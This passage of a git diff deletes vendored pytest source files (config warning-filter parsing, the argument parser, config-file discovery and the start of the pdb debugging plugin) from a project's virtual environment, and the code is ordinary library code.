isinstance(global_level, int) - if verbosity_type is None: - return global_level - - ini_name = Config._verbosity_ini_name(verbosity_type) - if ini_name not in self._parser._inidict: - return global_level - - level = self.getini(ini_name) - if level == Config._VERBOSITY_INI_DEFAULT: - return global_level - - return int(level) - - @staticmethod - def _verbosity_ini_name(verbosity_type: str) -> str: - return f"verbosity_{verbosity_type}" - - @staticmethod - def _add_verbosity_ini(parser: Parser, verbosity_type: str, help: str) -> None: - """Add a output verbosity configuration option for the given output type. - - :param parser: Parser for command line arguments and config-file values. - :param verbosity_type: Fine-grained verbosity category. - :param help: Description of the output this type controls. - - The value should be retrieved via a call to - :py:func:`config.get_verbosity(type) `. - """ - parser.addini( - Config._verbosity_ini_name(verbosity_type), - help=help, - type="string", - default=Config._VERBOSITY_INI_DEFAULT, - ) - - def _warn_about_missing_assertion(self, mode: str) -> None: - if not _assertion_supported(): - if mode == "plain": - warning_text = ( - "ASSERTIONS ARE NOT EXECUTED" - " and FAILING TESTS WILL PASS. Are you" - " using python -O?" - ) - else: - warning_text = ( - "assertions not in test modules or" - " plugins will be ignored" - " because assert statements are not executed " - "by the underlying Python interpreter " - "(are you using python -O?)\n" - ) - self.issue_config_time_warning( - PytestConfigWarning(warning_text), - stacklevel=3, - ) - - def _warn_about_skipped_plugins(self) -> None: - for module_name, msg in self.pluginmanager.skipped_plugins: - self.issue_config_time_warning( - PytestConfigWarning(f"skipped plugin {module_name!r}: {msg}"), - stacklevel=2, - ) - - -def _assertion_supported() -> bool: - try: - assert False - except AssertionError: - return True - else: - return False # type: ignore[unreachable] - - -def create_terminal_writer( - config: Config, file: TextIO | None = None -) -> TerminalWriter: - """Create a TerminalWriter instance configured according to the options - in the config object. - - Every code which requires a TerminalWriter object and has access to a - config object should use this function. - """ - tw = TerminalWriter(file=file) - - if config.option.color == "yes": - tw.hasmarkup = True - elif config.option.color == "no": - tw.hasmarkup = False - - if config.option.code_highlight == "yes": - tw.code_highlight = True - elif config.option.code_highlight == "no": - tw.code_highlight = False - - return tw - - -def _strtobool(val: str) -> bool: - """Convert a string representation of truth to True or False. - - True values are 'y', 'yes', 't', 'true', 'on', and '1'; false values - are 'n', 'no', 'f', 'false', 'off', and '0'. Raises ValueError if - 'val' is anything else. - - .. note:: Copied from distutils.util. - """ - val = val.lower() - if val in ("y", "yes", "t", "true", "on", "1"): - return True - elif val in ("n", "no", "f", "false", "off", "0"): - return False - else: - raise ValueError(f"invalid truth value {val!r}") - - -@lru_cache(maxsize=50) -def parse_warning_filter( - arg: str, *, escape: bool -) -> tuple[warnings._ActionKind, str, type[Warning], str, int]: - """Parse a warnings filter string. - - This is copied from warnings._setoption with the following changes: - - * Does not apply the filter. - * Escaping is optional. - * Raises UsageError so we get nice error messages on failure. - """ - __tracebackhide__ = True - error_template = dedent( - f"""\ - while parsing the following warning configuration: - - {arg} - - This error occurred: - - {{error}} - """ - ) - - parts = arg.split(":") - if len(parts) > 5: - doc_url = ( - "https://docs.python.org/3/library/warnings.html#describing-warning-filters" - ) - error = dedent( - f"""\ - Too many fields ({len(parts)}), expected at most 5 separated by colons: - - action:message:category:module:line - - For more information please consult: {doc_url} - """ - ) - raise UsageError(error_template.format(error=error)) - - while len(parts) < 5: - parts.append("") - action_, message, category_, module, lineno_ = (s.strip() for s in parts) - try: - action: warnings._ActionKind = warnings._getaction(action_) # type: ignore[attr-defined] - except warnings._OptionError as e: - raise UsageError(error_template.format(error=str(e))) from None - try: - category: type[Warning] = _resolve_warning_category(category_) - except ImportError: - raise - except Exception: - exc_info = ExceptionInfo.from_current() - exception_text = exc_info.getrepr(style="native") - raise UsageError(error_template.format(error=exception_text)) from None - if message and escape: - message = re.escape(message) - if module and escape: - module = re.escape(module) + r"\Z" - if lineno_: - try: - lineno = int(lineno_) - if lineno < 0: - raise ValueError("number is negative") - except ValueError as e: - raise UsageError( - error_template.format(error=f"invalid lineno {lineno_!r}: {e}") - ) from None - else: - lineno = 0 - try: - re.compile(message) - re.compile(module) - except re.error as e: - raise UsageError( - error_template.format(error=f"Invalid regex {e.pattern!r}: {e}") - ) from None - return action, message, category, module, lineno - - -def _resolve_warning_category(category: str) -> type[Warning]: - """ - Copied from warnings._getcategory, but changed so it lets exceptions (specially ImportErrors) - propagate so we can get access to their tracebacks (#9218). - """ - __tracebackhide__ = True - if not category: - return Warning - - if "." not in category: - import builtins as m - - klass = category - else: - module, _, klass = category.rpartition(".") - m = importlib.import_module(module) - cat = getattr(m, klass) - if not issubclass(cat, Warning): - raise UsageError(f"{cat} is not a Warning subclass") - return cast(type[Warning], cat) - - -def apply_warning_filters( - config_filters: Iterable[str], cmdline_filters: Iterable[str] -) -> None: - """Applies pytest-configured filters to the warnings module""" - # Filters should have this precedence: cmdline options, config. - # Filters should be applied in the inverse order of precedence. - for arg in config_filters: - try: - warnings.filterwarnings(*parse_warning_filter(arg, escape=False)) - except ImportError as e: - warnings.warn( - f"Failed to import filter module '{e.name}': {arg}", PytestConfigWarning - ) - continue - - for arg in cmdline_filters: - try: - warnings.filterwarnings(*parse_warning_filter(arg, escape=True)) - except ImportError as e: - warnings.warn( - f"Failed to import filter module '{e.name}': {arg}", PytestConfigWarning - ) - continue diff --git a/venv/Lib/site-packages/_pytest/config/argparsing.py b/venv/Lib/site-packages/_pytest/config/argparsing.py deleted file mode 100644 index f70e27614ef19369f0c8bfacb4069d576d683ead..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/config/argparsing.py +++ /dev/null @@ -1,503 +0,0 @@ -# mypy: allow-untyped-defs -from __future__ import annotations - -import argparse -from collections.abc import Callable -from collections.abc import Sequence -import os -import sys -import textwrap -from typing import Any -from typing import final -from typing import Literal -from typing import NoReturn - -from .exceptions import UsageError -import _pytest._io -from _pytest.compat import NOTSET -from _pytest.deprecated import check_ispytest - - -FILE_OR_DIR = "file_or_dir" - - -@final -class Parser: - """Parser for command line arguments and config-file values. - - :ivar extra_info: Dict of generic param -> value to display in case - there's an error processing the command line arguments. - """ - - def __init__( - self, - usage: str | None = None, - processopt: Callable[[Argument], None] | None = None, - *, - prog: str | None = None, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - - from _pytest._argcomplete import filescompleter - - self._processopt = processopt - self.extra_info: dict[str, Any] = {} - self.optparser = PytestArgumentParser(usage, self.extra_info, prog=prog) - anonymous_arggroup = self.optparser.add_argument_group("Custom options") - self._anonymous = OptionGroup( - anonymous_arggroup, "_anonymous", self, _ispytest=True - ) - self._groups = [self._anonymous] - # Maps option strings -> dest, e.g. "-V" and "--version" to "version". - self._opt2dest: dict[str, str] = {} - file_or_dir_arg = self.optparser.add_argument(FILE_OR_DIR, nargs="*") - file_or_dir_arg.completer = filescompleter # type: ignore - - self._inidict: dict[str, tuple[str, str, Any]] = {} - # Maps alias -> canonical name. - self._ini_aliases: dict[str, str] = {} - - @property - def prog(self) -> str: - return self.optparser.prog - - @prog.setter - def prog(self, value: str) -> None: - self.optparser.prog = value - - def processoption(self, option: Argument) -> None: - if self._processopt: - if option.dest: - self._processopt(option) - - def getgroup( - self, name: str, description: str = "", after: str | None = None - ) -> OptionGroup: - """Get (or create) a named option Group. - - :param name: Name of the option group. - :param description: Long description for --help output. - :param after: Name of another group, used for ordering --help output. - :returns: The option group. - - The returned group object has an ``addoption`` method with the same - signature as :func:`parser.addoption ` but - will be shown in the respective group in the output of - ``pytest --help``. - """ - for group in self._groups: - if group.name == name: - return group - - arggroup = self.optparser.add_argument_group(description or name) - group = OptionGroup(arggroup, name, self, _ispytest=True) - i = 0 - for i, grp in enumerate(self._groups): - if grp.name == after: - break - self._groups.insert(i + 1, group) - # argparse doesn't provide a way to control `--help` order, so must - # access its internals ☹. - self.optparser._action_groups.insert(i + 1, self.optparser._action_groups.pop()) - return group - - def addoption(self, *opts: str, **attrs: Any) -> None: - """Register a command line option. - - :param opts: - Option names, can be short or long options. - :param attrs: - Same attributes as the argparse library's :meth:`add_argument() - ` function accepts. - - After command line parsing, options are available on the pytest config - object via ``config.option.NAME`` where ``NAME`` is usually set - by passing a ``dest`` attribute, for example - ``addoption("--long", dest="NAME", ...)``. - """ - self._anonymous.addoption(*opts, **attrs) - - def parse( - self, - args: Sequence[str | os.PathLike[str]], - namespace: argparse.Namespace | None = None, - ) -> argparse.Namespace: - """Parse the arguments. - - Unlike ``parse_known_args`` and ``parse_known_and_unknown_args``, - raises PrintHelp on `--help` and UsageError on unknown flags - - :meta private: - """ - from _pytest._argcomplete import try_argcomplete - - try_argcomplete(self.optparser) - strargs = [os.fspath(x) for x in args] - if namespace is None: - namespace = argparse.Namespace() - try: - namespace._raise_print_help = True - return self.optparser.parse_intermixed_args(strargs, namespace=namespace) - finally: - del namespace._raise_print_help - - def parse_known_args( - self, - args: Sequence[str | os.PathLike[str]], - namespace: argparse.Namespace | None = None, - ) -> argparse.Namespace: - """Parse the known arguments at this point. - - :returns: An argparse namespace object. - """ - return self.parse_known_and_unknown_args(args, namespace=namespace)[0] - - def parse_known_and_unknown_args( - self, - args: Sequence[str | os.PathLike[str]], - namespace: argparse.Namespace | None = None, - ) -> tuple[argparse.Namespace, list[str]]: - """Parse the known arguments at this point, and also return the - remaining unknown flag arguments. - - :returns: - A tuple containing an argparse namespace object for the known - arguments, and a list of unknown flag arguments. - """ - strargs = [os.fspath(x) for x in args] - if sys.version_info < (3, 12, 8) or (3, 13) <= sys.version_info < (3, 13, 1): - # Older argparse have a bugged parse_known_intermixed_args. - namespace, unknown = self.optparser.parse_known_args(strargs, namespace) - assert namespace is not None - file_or_dir = getattr(namespace, FILE_OR_DIR) - unknown_flags: list[str] = [] - for arg in unknown: - (unknown_flags if arg.startswith("-") else file_or_dir).append(arg) - return namespace, unknown_flags - else: - return self.optparser.parse_known_intermixed_args(strargs, namespace) - - def addini( - self, - name: str, - help: str, - type: Literal[ - "string", "paths", "pathlist", "args", "linelist", "bool", "int", "float" - ] - | None = None, - default: Any = NOTSET, - *, - aliases: Sequence[str] = (), - ) -> None: - """Register a configuration file option. - - :param name: - Name of the configuration. - :param type: - Type of the configuration. Can be: - - * ``string``: a string - * ``bool``: a boolean - * ``args``: a list of strings, separated as in a shell - * ``linelist``: a list of strings, separated by line breaks - * ``paths``: a list of :class:`pathlib.Path`, separated as in a shell - * ``pathlist``: a list of ``py.path``, separated as in a shell - * ``int``: an integer - * ``float``: a floating-point number - - .. versionadded:: 8.4 - - The ``float`` and ``int`` types. - - For ``paths`` and ``pathlist`` types, they are considered relative to the config-file. - In case the execution is happening without a config-file defined, - they will be considered relative to the current working directory (for example with ``--override-ini``). - - .. versionadded:: 7.0 - The ``paths`` variable type. - - .. versionadded:: 8.1 - Use the current working directory to resolve ``paths`` and ``pathlist`` in the absence of a config-file. - - Defaults to ``string`` if ``None`` or not passed. - :param default: - Default value if no config-file option exists but is queried. - :param aliases: - Additional names by which this option can be referenced. - Aliases resolve to the canonical name. - - .. versionadded:: 9.0 - The ``aliases`` parameter. - - The value of configuration keys can be retrieved via a call to - :py:func:`config.getini(name) `. - """ - assert type in ( - None, - "string", - "paths", - "pathlist", - "args", - "linelist", - "bool", - "int", - "float", - ) - if type is None: - type = "string" - if default is NOTSET: - default = get_ini_default_for_type(type) - - self._inidict[name] = (help, type, default) - - for alias in aliases: - if alias in self._inidict: - raise ValueError( - f"alias {alias!r} conflicts with existing configuration option" - ) - if (already := self._ini_aliases.get(alias)) is not None: - raise ValueError(f"{alias!r} is already an alias of {already!r}") - self._ini_aliases[alias] = name - - -def get_ini_default_for_type( - type: Literal[ - "string", "paths", "pathlist", "args", "linelist", "bool", "int", "float" - ], -) -> Any: - """ - Used by addini to get the default value for a given config option type, when - default is not supplied. - """ - if type in ("paths", "pathlist", "args", "linelist"): - return [] - elif type == "bool": - return False - elif type == "int": - return 0 - elif type == "float": - return 0.0 - else: - return "" - - -class Argument: - """An option defined in an OptionGroup.""" - - def __init__(self, action: argparse.Action) -> None: - self._action = action - - def attrs(self) -> dict[str, Any]: - return self._action.__dict__ - - def names(self) -> Sequence[str]: - return self._action.option_strings - - @property - def dest(self) -> str: - return self._action.dest - - @property - def default(self) -> Any: - return self._action.default - - @property - def type(self) -> Any | None: - return self._action.type - - def __repr__(self) -> str: - action = getattr(self, "_action", None) - if action is None: - return "Argument()" - args: list[str] = [] - args += ["opts: " + repr(self.names())] - args += ["dest: " + repr(self.dest)] - if action.type: - args += ["type: " + repr(self.type)] - args += ["default: " + repr(self.default)] - return "Argument({})".format(", ".join(args)) - - -class OptionGroup: - """A group of options shown in its own section.""" - - def __init__( - self, - arggroup: argparse._ArgumentGroup, - name: str, - parser: Parser | None, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - self._arggroup = arggroup - self.name = name - self.options: list[Argument] = [] - self.parser = parser - - def addoption(self, *opts: str, **attrs: Any) -> None: - """Add an option to this group. - - If a shortened version of a long option is specified, it will - be suppressed in the help. ``addoption('--twowords', '--two-words')`` - results in help showing ``--two-words`` only, but ``--twowords`` gets - accepted **and** the automatic destination is in ``args.twowords``. - - :param opts: - Option names, can be short or long options. - Note that lower-case short options (e.g. `-x`) are reserved. - :param attrs: - Same attributes as the argparse library's :meth:`add_argument() - ` function accepts. - """ - conflict = set(opts).intersection( - name for opt in self.options for name in opt.names() - ) - if conflict: - raise ValueError(f"option names {conflict} already added") - self._addoption_inner(opts, attrs, allow_reserved=False) - - def _addoption(self, *opts: str, **attrs: Any) -> None: - """Like addoption(), but also allows registering short lower case options (e.g. -x), - which are reserved for pytest core.""" - self._addoption_inner(opts, attrs, allow_reserved=True) - - def _addoption_inner( - self, opts: tuple[str, ...], attrs: dict[str, Any], allow_reserved: bool - ) -> None: - if not allow_reserved: - for opt in opts: - if len(opt) >= 2 and opt[0] == "-" and opt[1].islower(): - raise ValueError("lowercase short options are reserved") - - action = self._arggroup.add_argument(*opts, **attrs) - option = Argument(action) - self.options.append(option) - if self.parser: - for name in option.names(): - self.parser._opt2dest[name] = option.dest - self.parser.processoption(option) - - -class PytestArgumentParser(argparse.ArgumentParser): - def __init__( - self, - usage: str | None, - extra_info: dict[str, str], - *, - prog: str | None = None, - ) -> None: - super().__init__( - usage=usage, - prog=prog, - add_help=False, - formatter_class=DropShorterLongHelpFormatter, - allow_abbrev=False, - fromfile_prefix_chars="@", - ) - # extra_info is a dict of (param -> value) to display if there's - # an usage error to provide more contextual information to the user. - self.extra_info = extra_info - - def error(self, message: str) -> NoReturn: - """Transform argparse error message into UsageError.""" - # TODO(py313): Replace with `exit_on_error=False`. Note that while it - # was added in Python 3.9, it was broken until 3.13 (cpython#121018). - msg = f"{self.prog}: error: {message}" - if self.extra_info: - msg += "\n" + "\n".join( - f" {k}: {v}" for k, v in sorted(self.extra_info.items()) - ) - raise UsageError(self.format_usage() + msg) - - -class DropShorterLongHelpFormatter(argparse.HelpFormatter): - """Shorten help for long options that differ only in extra hyphens. - - - Collapse **long** options that are the same except for extra hyphens. - - Shortcut if there are only two options and one of them is a short one. - """ - - def __init__(self, *args: Any, **kwargs: Any) -> None: - # Use more accurate terminal width. - if "width" not in kwargs: - kwargs["width"] = _pytest._io.get_terminal_width() - super().__init__(*args, **kwargs) - - def _format_action_invocation(self, action: argparse.Action) -> str: - orgstr = super()._format_action_invocation(action) - if orgstr and orgstr[0] != "-": # only optional arguments - return orgstr - options = orgstr.split(", ") - if len(options) == 2 and (len(options[0]) == 2 or len(options[1]) == 2): - # a shortcut for '-h, --help' or '--abc', '-a' - return orgstr - return_list = [] - short_long: dict[str, str] = {} - for option in options: - if len(option) == 2 or option[2] == " ": - continue - assert option.startswith("--"), ( - f'long optional argument without "--": [{option}]' - ) - xxoption = option[2:] - shortened = xxoption.replace("-", "") - if shortened not in short_long or len(short_long[shortened]) < len( - xxoption - ): - short_long[shortened] = xxoption - # now short_long has been filled out to the longest with dashes - # **and** we keep the right option ordering from add_argument - for option in options: - if len(option) == 2 or option[2] == " ": - return_list.append(option) - if option[2:] == short_long.get(option.replace("-", "")): - return_list.append(option.replace(" ", "=", 1)) - return ", ".join(return_list) - - def _split_lines(self, text: str, width: int) -> list[str]: - """Wrap lines after splitting on original newlines. - - This allows to have explicit line breaks in the help text. - """ - lines = [] - for line in text.splitlines(): - lines.extend(textwrap.wrap(line.strip(), width)) - return lines - - -class OverrideIniAction(argparse.Action): - """Custom argparse action that makes a CLI flag equivalent to overriding an - option, in addition to behaving like `store_true`. - - This can simplify things since code only needs to inspect the config option - and not consider the CLI flag. - """ - - def __init__( - self, - option_strings: Sequence[str], - dest: str, - nargs: int | str | None = None, - *args, - ini_option: str, - ini_value: str, - **kwargs, - ) -> None: - super().__init__(option_strings, dest, 0, *args, **kwargs) - self.ini_option = ini_option - self.ini_value = ini_value - - def __call__( - self, - parser: argparse.ArgumentParser, - namespace: argparse.Namespace, - *args, - **kwargs, - ) -> None: - setattr(namespace, self.dest, True) - current_overrides = getattr(namespace, "override_ini", None) - if current_overrides is None: - current_overrides = [] - current_overrides.append(f"{self.ini_option}={self.ini_value}") - setattr(namespace, "override_ini", current_overrides) diff --git a/venv/Lib/site-packages/_pytest/config/exceptions.py b/venv/Lib/site-packages/_pytest/config/exceptions.py deleted file mode 100644 index d84a9ea67e07f3d9591883360fb5ee0c92422787..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/config/exceptions.py +++ /dev/null @@ -1,15 +0,0 @@ -from __future__ import annotations - -from typing import final - - -@final -class UsageError(Exception): - """Error in pytest usage or invocation.""" - - __module__ = "pytest" - - -class PrintHelp(Exception): - """Raised when pytest should print its help to skip the rest of the - argument parsing and validation.""" diff --git a/venv/Lib/site-packages/_pytest/config/findpaths.py b/venv/Lib/site-packages/_pytest/config/findpaths.py deleted file mode 100644 index e74546c6e289f4ee63fb6bdba2a187e49d8e35e8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/config/findpaths.py +++ /dev/null @@ -1,350 +0,0 @@ -from __future__ import annotations - -from collections.abc import Iterable -from collections.abc import Sequence -from dataclasses import dataclass -from dataclasses import KW_ONLY -import os -from pathlib import Path -import sys -from typing import Literal -from typing import TypeAlias - -import iniconfig - -from .exceptions import UsageError -from _pytest.outcomes import fail -from _pytest.pathlib import absolutepath -from _pytest.pathlib import commonpath -from _pytest.pathlib import safe_exists - - -@dataclass(frozen=True) -class ConfigValue: - """Represents a configuration value with its origin and parsing mode. - - This allows tracking whether a value came from a configuration file - or from a CLI override (--override-ini), which is important for - determining precedence when dealing with ini option aliases. - - The mode tracks the parsing mode/data model used for the value: - - "ini": from INI files or [tool.pytest.ini_options], where the only - supported value types are `str` or `list[str]`. - - "toml": from TOML files (not in INI mode), where native TOML types - are preserved. - """ - - value: object - _: KW_ONLY - origin: Literal["file", "override"] - mode: Literal["ini", "toml"] - - -ConfigDict: TypeAlias = dict[str, ConfigValue] - - -def _parse_ini_config(path: Path) -> iniconfig.IniConfig: - """Parse the given generic '.ini' file using legacy IniConfig parser, returning - the parsed object. - - Raise UsageError if the file cannot be parsed. - """ - try: - return iniconfig.IniConfig(str(path)) - except iniconfig.ParseError as exc: - raise UsageError(str(exc)) from exc - - -def load_config_dict_from_file( - filepath: Path, -) -> ConfigDict | None: - """Load pytest configuration from the given file path, if supported. - - Return None if the file does not contain valid pytest configuration. - """ - # Configuration from ini files are obtained from the [pytest] section, if present. - if filepath.suffix == ".ini": - iniconfig = _parse_ini_config(filepath) - - if "pytest" in iniconfig: - return { - k: ConfigValue(v, origin="file", mode="ini") - for k, v in iniconfig["pytest"].items() - } - else: - # "pytest.ini" files are always the source of configuration, even if empty. - if filepath.name in {"pytest.ini", ".pytest.ini"}: - return {} - - # '.cfg' files are considered if they contain a "[tool:pytest]" section. - elif filepath.suffix == ".cfg": - iniconfig = _parse_ini_config(filepath) - - if "tool:pytest" in iniconfig.sections: - return { - k: ConfigValue(v, origin="file", mode="ini") - for k, v in iniconfig["tool:pytest"].items() - } - elif "pytest" in iniconfig.sections: - # If a setup.cfg contains a "[pytest]" section, we raise a failure to indicate users that - # plain "[pytest]" sections in setup.cfg files is no longer supported (#3086). - fail(CFG_PYTEST_SECTION.format(filename="setup.cfg"), pytrace=False) - - # '.toml' files are considered if they contain a [tool.pytest] table (toml mode) - # or [tool.pytest.ini_options] table (ini mode) for pyproject.toml, - # or [pytest] table (toml mode) for pytest.toml/.pytest.toml. - elif filepath.suffix == ".toml": - if sys.version_info >= (3, 11): - import tomllib - else: - import tomli as tomllib - - toml_text = filepath.read_text(encoding="utf-8") - try: - config = tomllib.loads(toml_text) - except tomllib.TOMLDecodeError as exc: - raise UsageError(f"{filepath}: {exc}") from exc - - # pytest.toml and .pytest.toml use [pytest] table directly. - if filepath.name in ("pytest.toml", ".pytest.toml"): - pytest_config = config.get("pytest", {}) - if pytest_config: - # TOML mode - preserve native TOML types. - return { - k: ConfigValue(v, origin="file", mode="toml") - for k, v in pytest_config.items() - } - # "pytest.toml" files are always the source of configuration, even if empty. - return {} - - # pyproject.toml uses [tool.pytest] or [tool.pytest.ini_options]. - else: - tool_pytest = config.get("tool", {}).get("pytest", {}) - - # Check for toml mode config: [tool.pytest] with content outside of ini_options. - toml_config = {k: v for k, v in tool_pytest.items() if k != "ini_options"} - # Check for ini mode config: [tool.pytest.ini_options]. - ini_config = tool_pytest.get("ini_options", None) - - if toml_config and ini_config: - raise UsageError( - f"{filepath}: Cannot use both [tool.pytest] (native TOML types) and " - "[tool.pytest.ini_options] (string-based INI format) simultaneously. " - "Please use [tool.pytest] with native TOML types (recommended) " - "or [tool.pytest.ini_options] for backwards compatibility." - ) - - if toml_config: - # TOML mode - preserve native TOML types. - return { - k: ConfigValue(v, origin="file", mode="toml") - for k, v in toml_config.items() - } - - elif ini_config is not None: - # INI mode - TOML supports richer data types than INI files, but we need to - # convert all scalar values to str for compatibility with the INI system. - def make_scalar(v: object) -> str | list[str]: - return v if isinstance(v, list) else str(v) - - return { - k: ConfigValue(make_scalar(v), origin="file", mode="ini") - for k, v in ini_config.items() - } - - return None - - -def locate_config( - invocation_dir: Path, - args: Iterable[Path], -) -> tuple[Path | None, Path | None, ConfigDict, Sequence[str]]: - """Search in the list of arguments for a valid ini-file for pytest, - and return a tuple of (rootdir, inifile, cfg-dict, ignored-config-files), where - ignored-config-files is a list of config basenames found that contain - pytest configuration but were ignored.""" - config_names = [ - "pytest.toml", - ".pytest.toml", - "pytest.ini", - ".pytest.ini", - "pyproject.toml", - "tox.ini", - "setup.cfg", - ] - args = [x for x in args if not str(x).startswith("-")] - if not args: - args = [invocation_dir] - found_pyproject_toml: Path | None = None - ignored_config_files: list[str] = [] - - for arg in args: - argpath = absolutepath(arg) - for base in (argpath, *argpath.parents): - for config_name in config_names: - p = base / config_name - if p.is_file(): - if p.name == "pyproject.toml" and found_pyproject_toml is None: - found_pyproject_toml = p - ini_config = load_config_dict_from_file(p) - if ini_config is not None: - index = config_names.index(config_name) - for remainder in config_names[index + 1 :]: - p2 = base / remainder - if ( - p2.is_file() - and load_config_dict_from_file(p2) is not None - ): - ignored_config_files.append(remainder) - return base, p, ini_config, ignored_config_files - if found_pyproject_toml is not None: - return found_pyproject_toml.parent, found_pyproject_toml, {}, [] - return None, None, {}, [] - - -def get_common_ancestor( - invocation_dir: Path, - paths: Iterable[Path], -) -> Path: - common_ancestor: Path | None = None - for path in paths: - if not path.exists(): - continue - if common_ancestor is None: - common_ancestor = path - else: - if common_ancestor in path.parents or path == common_ancestor: - continue - elif path in common_ancestor.parents: - common_ancestor = path - else: - shared = commonpath(path, common_ancestor) - if shared is not None: - common_ancestor = shared - if common_ancestor is None: - common_ancestor = invocation_dir - elif common_ancestor.is_file(): - common_ancestor = common_ancestor.parent - return common_ancestor - - -def get_dirs_from_args(args: Iterable[str]) -> list[Path]: - def is_option(x: str) -> bool: - return x.startswith("-") - - def get_file_part_from_node_id(x: str) -> str: - return x.split("::", maxsplit=1)[0] - - def get_dir_from_path(path: Path) -> Path: - if path.is_dir(): - return path - return path.parent - - # These look like paths but may not exist - possible_paths = ( - absolutepath(get_file_part_from_node_id(arg)) - for arg in args - if not is_option(arg) - ) - - return [get_dir_from_path(path) for path in possible_paths if safe_exists(path)] - - -def parse_override_ini(override_ini: Sequence[str] | None) -> ConfigDict: - """Parse the -o/--override-ini command line arguments and return the overrides. - - :raises UsageError: - If one of the values is malformed. - """ - overrides = {} - # override_ini is a list of "ini=value" options. - # Always use the last item if multiple values are set for same ini-name, - # e.g. -o foo=bar1 -o foo=bar2 will set foo to bar2. - for ini_config in override_ini or (): - try: - key, user_ini_value = ini_config.split("=", 1) - except ValueError as e: - raise UsageError( - f"-o/--override-ini expects option=value style (got: {ini_config!r})." - ) from e - else: - overrides[key] = ConfigValue(user_ini_value, origin="override", mode="ini") - return overrides - - -CFG_PYTEST_SECTION = "[pytest] section in {filename} files is no longer supported, change to [tool:pytest] instead." - - -def determine_setup( - *, - inifile: str | None, - override_ini: Sequence[str] | None, - args: Sequence[str], - rootdir_cmd_arg: str | None, - invocation_dir: Path, -) -> tuple[Path, Path | None, ConfigDict, Sequence[str]]: - """Determine the rootdir, inifile and ini configuration values from the - command line arguments. - - :param inifile: - The `--inifile` command line argument, if given. - :param override_ini: - The -o/--override-ini command line arguments, if given. - :param args: - The free command line arguments. - :param rootdir_cmd_arg: - The `--rootdir` command line argument, if given. - :param invocation_dir: - The working directory when pytest was invoked. - - :raises UsageError: - """ - rootdir = None - dirs = get_dirs_from_args(args) - ignored_config_files: Sequence[str] = [] - - if inifile: - inipath_ = absolutepath(inifile) - inipath: Path | None = inipath_ - inicfg = load_config_dict_from_file(inipath_) or {} - if rootdir_cmd_arg is None: - rootdir = inipath_.parent - else: - ancestor = get_common_ancestor(invocation_dir, dirs) - rootdir, inipath, inicfg, ignored_config_files = locate_config( - invocation_dir, [ancestor] - ) - if rootdir is None and rootdir_cmd_arg is None: - for possible_rootdir in (ancestor, *ancestor.parents): - if (possible_rootdir / "setup.py").is_file(): - rootdir = possible_rootdir - break - else: - if dirs != [ancestor]: - rootdir, inipath, inicfg, _ = locate_config(invocation_dir, dirs) - if rootdir is None: - rootdir = get_common_ancestor( - invocation_dir, [invocation_dir, ancestor] - ) - if is_fs_root(rootdir): - rootdir = ancestor - if rootdir_cmd_arg: - rootdir = absolutepath(os.path.expandvars(rootdir_cmd_arg)) - if not rootdir.is_dir(): - raise UsageError( - f"Directory '{rootdir}' not found. Check your '--rootdir' option." - ) - - ini_overrides = parse_override_ini(override_ini) - inicfg.update(ini_overrides) - - assert rootdir is not None - return rootdir, inipath, inicfg, ignored_config_files - - -def is_fs_root(p: Path) -> bool: - r""" - Return True if the given path is pointing to the root of the - file system ("/" on Unix and "C:\\" on Windows for example). - """ - return os.path.splitdrive(str(p))[1] == os.sep diff --git a/venv/Lib/site-packages/_pytest/debugging.py b/venv/Lib/site-packages/_pytest/debugging.py deleted file mode 100644 index b256f83c8bf3d0e02e3c82ea2b444288b12f9309..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/debugging.py +++ /dev/null @@ -1,404 +0,0 @@ -# mypy: allow-untyped-defs -# ruff: noqa: T100 -"""Interactive debugging with PDB, the Python Debugger.""" - -from __future__ import annotations - -import argparse -from collections.abc import Callable -from collections.abc import Generator -import functools -import importlib -import sys -import types -from typing import Any - -from _pytest import outcomes -from _pytest._code import ExceptionInfo -from _pytest.capture import CaptureManager -from _pytest.config import Config -from _pytest.config import ConftestImportFailure -from _pytest.config import hookimpl -from _pytest.config import PytestPluginManager -from _pytest.config.argparsing import Parser -from _pytest.config.exceptions import UsageError -from _pytest.nodes import Node -from _pytest.reports import BaseReport -from _pytest.runner import CallInfo - - -def _validate_usepdb_cls(value: str) -> tuple[str, str]: - """Validate syntax of --pdbcls option.""" - try: - modname, classname = value.split(":") - except ValueError as e: - raise argparse.ArgumentTypeError( - f"{value!r} is not in the format 'modname:classname'" - ) from e - return (modname, classname) - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("general") - group.addoption( - "--pdb", - dest="usepdb", - action="store_true", - help="Start the interactive Python debugger on errors or KeyboardInterrupt", - ) - group.addoption( - "--pdbcls", - dest="usepdb_cls", - metavar="modulename:classname", - type=_validate_usepdb_cls, - help="Specify a custom interactive Python debugger for use with --pdb." - "For example: --pdbcls=IPython.terminal.debugger:TerminalPdb", - ) - group.addoption( - "--trace", - dest="trace", - action="store_true", - help="Immediately break when running each test", - ) - - -def pytest_configure(config: Config) -> None: - import pdb - - if config.getvalue("trace"): - config.pluginmanager.register(PdbTrace(), "pdbtrace") - if config.getvalue("usepdb"): - config.pluginmanager.register(PdbInvoke(), "pdbinvoke") - - pytestPDB._saved.append( - (pdb.set_trace, pytestPDB._pluginmanager, pytestPDB._config) - ) - pdb.set_trace = pytestPDB.set_trace - pytestPDB._pluginmanager = config.pluginmanager - pytestPDB._config = config - - # NOTE: not using pytest_unconfigure, since it might get called although - # pytest_configure was not (if another plugin raises UsageError). - def fin() -> None: - ( - pdb.set_trace, - pytestPDB._pluginmanager, - pytestPDB._config, - ) = pytestPDB._saved.pop() - - config.add_cleanup(fin) - - -class pytestPDB: - """Pseudo PDB that defers to the real pdb.""" - - _pluginmanager: PytestPluginManager | None = None - _config: Config | None = None - _saved: list[ - tuple[Callable[..., None], PytestPluginManager | None, Config | None] - ] = [] - _recursive_debug = 0 - _wrapped_pdb_cls: tuple[type[Any], type[Any]] | None = None - - @classmethod - def _is_capturing(cls, capman: CaptureManager | None) -> str | bool: - if capman: - return capman.is_capturing() - return False - - @classmethod - def _import_pdb_cls(cls, capman: CaptureManager | None): - if not cls._config: - import pdb - - # Happens when using pytest.set_trace outside of a test. - return pdb.Pdb - - usepdb_cls = cls._config.getvalue("usepdb_cls") - - if 